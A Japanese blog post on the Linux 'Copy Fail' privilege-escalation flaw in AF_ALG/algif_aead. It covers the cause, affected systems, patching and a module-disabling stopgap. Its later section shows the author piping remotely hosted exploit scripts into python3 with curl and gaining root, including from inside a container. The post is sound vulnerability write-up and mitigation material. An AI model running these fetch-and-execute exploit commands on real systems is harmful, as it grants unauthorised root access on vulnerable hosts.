Introduction

YouTube で知り、試してみたら本当に root を奪えて笑ってしまった。
報告ページは Copy Fail
発見者の技術解説は Copy Fail: 732 Bytes to Root on Every Major Linux Distribution.

What’s this?

影響範囲

2017 年以降、暗号化 API AF_ALG を実装したディストリビューション全て。

原因

algif_aead モジュールにおいて、メモリを効率よく使うインプレース最適化を行っていたが、その実装がまずかった。
修正は、このインプレース最適化を元に戻す。

具体的にどうまずかったかというと、AF_ALG というカーネルの暗号化サブシステムを非特権ユーザー空間に公開するソケットがあるが、システムコール splice はページキャッシュページの参照渡し (コピーではない!!) を行い、AEAD (Authenticated Encryption with Associated Data) ラッパー authencesn が境界外へ 4 バイト書き込むことでページキャッシュ上の /usr/bin/su を書き換えることができてしまった。

対策

  • パッチを適用し再起動
    • この脆弱性はメモリを書き換えるため、パッチ適用前に侵害されていた場合は再起動しない限り脆弱性は残り続けるため
    • 主要ディストリビューションはパッチを展開済み
  • 脆弱性の起点となった暗号化 API AF_ALG を無効にする (応急処置)

応急処理

すぐにパッチを適用できない場合。

1
2
$ echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
$ rmmod algif_aead 2>/dev/null || true

Ubuntu とか root ログインできない場合は

1
2
$ sudo sh -c 'echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf'
$ sudo rmmod algif_aead 2>/dev/null || true

応急処理実施後

1
2
3
4
5
6
7
8
$ curl https://copy.fail/exp | python3 && su
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 731 0 731 0 0 889 0 --:--:-- --:--:-- --:--:-- 889
Traceback (most recent call last):
File "<stdin>", line 9, in <module>
File "<stdin>", line 5, in c
FileNotFoundError: [Errno 2] No such file or directory

念のため再起動しても、上記のようになることを確認。

修正による影響

何もないに等しい。

  • 影響しないもの
    • m-crypt/LUKS、kTLS、IPsec/XFRM、カーネル内TLS、OpenSSL/GnuTLS/NSS デフォルトビルド、SSH、カーネルキーリング暗号化
  • 影響する可能性のあるもの
    • AF_ALG を使用するように特別に構成されたユーザー空間
        • エンジンが明示的に有効になっているOpenSSL
        • 一部の組み込み暗号化オフロードパス
        • ソケットを直接 afalg バインドするアプリケーション
  • パフォーマンス
    • AF_ALG はカーネルの暗号化 API へのユーザー空間からの入り口であり、無効にしても、既にこれを呼び出していた処理以外には速度低下は発生しない
    • 既に呼び出していた処理については、通常のユーザー空間暗号化ライブラリにフォールバックするだけであり、この挙動は他のほとんどの処理が既に行っている

Have a try!!

ということで試してみた。
実行環境は

1
2
$ uname -a
Linux esxi-vm02 6.8.0-110-generic #110~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Mar 27 12:43:08 UTC x86_64 x86_64 x86_64 GNU/Linux

copy-fail

簡単すぎる。

ただ、このスクリプトは x86 向けなのか、 aarch64 ホストマシン上ではエラーになる。

1
2
3
4
5
6
7
8
$ uname -a
Linux zgx-54b1 6.17.0-1014-nvidia #14-Ubuntu SMP PREEMPT_DYNAMIC Tue Mar 17 19:01:40 UTC 2026 aarch64 aarch64 aarch64 GNU/Linux
$ curl https://copy.fail/exp | python3 && su
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 731 0 731 0 0 3748 0 --:--:-- --:--:-- --:--:-- 3768
sh: 1: su: Exec format error
-bash: /usr/bin/su: cannot execute binary file: Exec format error

ということに気づいた人はいたようで既に公式 Git に PR Add aarch64 port #42 が出ていた。

1
2
3
4
5
6
7
8
$ id
uid=1000(t-takeuchi) gid=1000(t-takeuchi) groups=1000(t-takeuchi),4(adm),27(sudo),29(audio),30(dip),46(plugdev),100(users),122(lpadmin),983(ollama)
$ curl https://raw.githubusercontent.com/egosney/copy-fail-CVE-2026-31431/244ac1e95ae58260a8d34b64e4228e20b25e36e4/copy_fail_exp_aarch64.py | python3 && su
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 724 100 724 0 0 12037 0 --:--:-- --:--:-- --:--:-- 12066
# id
uid=0(root) gid=1000(t-takeuchi) groups=1000(t-takeuchi),4(adm),27(sudo),29(audio),30(dip),46(plugdev),100(users),122(lpadmin),983(ollama)

脆弱性のあるホスト上のコンテナ内から実行しても問題なし。

1
2
3
4
5
6
7
8
9
10
$ uname -a
Linux e369032130d3 6.17.0-1014-nvidia #14-Ubuntu SMP PREEMPT_DYNAMIC Tue Mar 17 19:01:40 UTC 2026 aarch64 aarch64 aarch64 GNU/Linux
$ id
uid=999(test) gid=999(appgroup) groups=999(appgroup)
$ curl https://raw.githubusercontent.com/egosney/copy-fail-CVE-2026-31431/244ac1e95ae58260a8d34b64e4228e20b25e36e4/copy_fail_exp_aarch64.py | python3 && su
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 724 100 724 0 0 2326 0 --:--:-- --:--:-- --:--:-- 2327
# id
uid=0(root) gid=999(appgroup) groups=999(appgroup)

草しか生えない。